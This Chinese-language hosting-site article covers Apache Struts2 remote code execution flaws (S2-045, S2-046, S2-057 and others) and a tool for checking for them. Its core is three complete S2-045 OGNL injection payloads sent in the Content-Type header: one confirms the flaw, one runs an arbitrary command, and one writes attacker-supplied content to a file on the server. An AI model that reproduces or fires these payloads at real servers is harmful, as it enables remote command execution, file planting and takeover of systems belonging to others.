溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

Struts2漏洞怎么利用工具檢查

發(fā)布時間:2022-09-29 11:10:02 來源:億速云 閱讀:263 作者:iii 欄目:服務器

今天小編給大家分享一下Struts2漏洞怎么利用工具檢查的相關知識點,內(nèi)容詳細,邏輯清晰,相信大部分人都還太了解這方面的知識,所以分享這篇文章給大家參考一下,希望大家閱讀完這篇文章后有所收獲,下面我們一起來了解一下吧。

Struts2是一個基于MVC設計模式的Web應用框架,但2存在遠程代碼執(zhí)行的漏洞,動力節(jié)點小編認為,檢測出漏洞就要進行Struts2漏洞修復,現(xiàn)在Struts2漏洞檢測工具2017版增加S2-046,官方發(fā)布S2-046和S2-045漏洞引發(fā)原因一樣,只是利用漏洞的位置發(fā)生了變化,S2-046方式可能繞過部分WAF防護,存在S2-045就存在S2-046。

當Struts2開啟devMode模式時,將導致嚴重遠程代碼執(zhí)行漏洞。如果WebService啟動權(quán)限為最高權(quán)限時,可遠程執(zhí)行任意命令,包括關機、建立新用戶、以及刪除服務器上所有文件等等。

支持S2-057 CVE-2018-11776 、S2-048 CVE-2017-9791、S2-046 CVE-2017-5638、S2-045 CVE-2017-5638、S2-037 CVE-2016-4438、 S2-032 CVE-2016-3081 、S2-020 CVE-2014-0094 、S2-019 CVE-2013-4316等漏洞檢測!

Apache Struts2存在遠程代碼執(zhí)行的高危漏洞(S2-057/CVE-2018-11776),該漏洞由Semmle Security Research team的安全研究員Man YueMo發(fā)現(xiàn)。該漏洞是由于在Struts2開發(fā)框架中使用namespace功能定義XML配置時,namespace值未被設置且在上層動作配置(Action Configuration)中未設置或用通配符namespace,可能導致遠程代碼執(zhí)行。同理,url標簽未設置value和action值且上層動作未設置或用通配符namespace時也可能導致遠程代碼執(zhí)行!

相關exp:

S2-045:

1.驗證漏洞,修改Content-Type,返回內(nèi)容為“webpath”代表存在漏洞。

%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#_memberAccess?(#_memberAccess=#dm):
((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).
(#context.setMemberAccess(#dm)))).(#req=@org.apache.struts2.ServletActionContext@getRequest()).
(#res=@org.apache.struts2.ServletActionContext@getResponse()).
(#res.setContentType('text/html;charset=UTF-8')).(#res.getWriter().print('web')).
(#res.getWriter().print('path')).(#res.getWriter().flush()).(#res.getWriter().close())}

2.執(zhí)行命令

%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#_memberAccess?(#_memberAccess=#dm):
((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).
(#context.setMemberAccess(#dm)))).(#req=@org.apache.struts2.ServletActionContext@getRequest()).
(#res=@org.apache.struts2.ServletActionContext@getResponse()).
(#res.setContentType('text/html;charset=UTF-8')).(#s=new java.util.Scanner((new
java.lang.ProcessBuilder('[cmd]'.toString().split('s'))).start().getInputStream()).useDelimiter('AAAA')).
(#str=#s.hasNext()?#s.next():'').(#res.getWriter().print(#str)).(#res.getWriter().flush()).
(#res.getWriter().close()).(#s.close())}

3.上傳文件:

%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#_memberAccess?(#_memberAccess=#dm):
((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).
(#context.setMemberAccess(#dm)))).(#req=@org.apache.struts2.ServletActionContext@getRequest()).
(#res=@org.apache.struts2.ServletActionContext@getResponse()).
(#res.setContentType('text/html;charset=UTF-8')).(new java.io.BufferedWriter(new
java.io.FileWriter([path])).append(#req.getHeader('test')).close()).(#res.getWriter().print('oko')).
(#res.getWriter().print('kok/')).(#res.getWriter().print(#req.getContextPath())).(#res.getWriter().flush()).
(#res.getWriter().close())}

Struts2漏洞怎么利用工具檢查

以上就是“Struts2漏洞怎么利用工具檢查”這篇文章的所有內(nèi)容,感謝各位的閱讀!相信大家閱讀完這篇文章都有很大的收獲,小編每天都會為大家更新不同的知識,如果還想學習更多的知識,請關注億速云行業(yè)資訊頻道。

向AI問一下細節(jié)

免責聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI